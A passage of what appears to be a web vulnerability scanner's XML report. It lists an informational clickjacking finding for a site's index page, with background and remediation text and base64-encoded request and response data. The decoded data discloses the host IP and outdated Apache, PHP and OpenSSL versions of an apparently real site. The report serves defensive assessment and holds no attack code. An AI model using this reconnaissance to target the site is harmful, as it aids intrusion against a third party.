PgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
148 <responseRedirected>false</responseRedirected>
149 </requestresponse>
150 </issue>
151 <issue>
152 <serialNumber>3368157477358873600</serialNumber>
153 <type>5245344</type>
154 <name>Frameable response (potential Clickjacking)</name>
155 <host ip="200.20.20.201">http://www.example.org.ar</host>
156 <path><![CDATA[/index.php]]></path>
157 <location><![CDATA[/index.php]]></location>
158 <severity>Information</severity>
159 <confidence>Firm</confidence>
160 <issueBackground><![CDATA[It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.<br><br>Note that this issue is being reported because the application's response does not set a suitable <b>X-Frame-Options</b> header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.]]></issueBackground>
161 <remediationBackground><![CDATA[You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.<br><br>To effectively prevent framing attacks, the application should return a response header with the name <b>X-Frame-Options</b> and the value <b>DENY</b> to prevent framing altogether, or the value <b>SAMEORIGIN</b> to allow framing only by pages on the same origin as the response itself.]]></remediationBackground>
162 <requestresponse>
163 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
164 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9I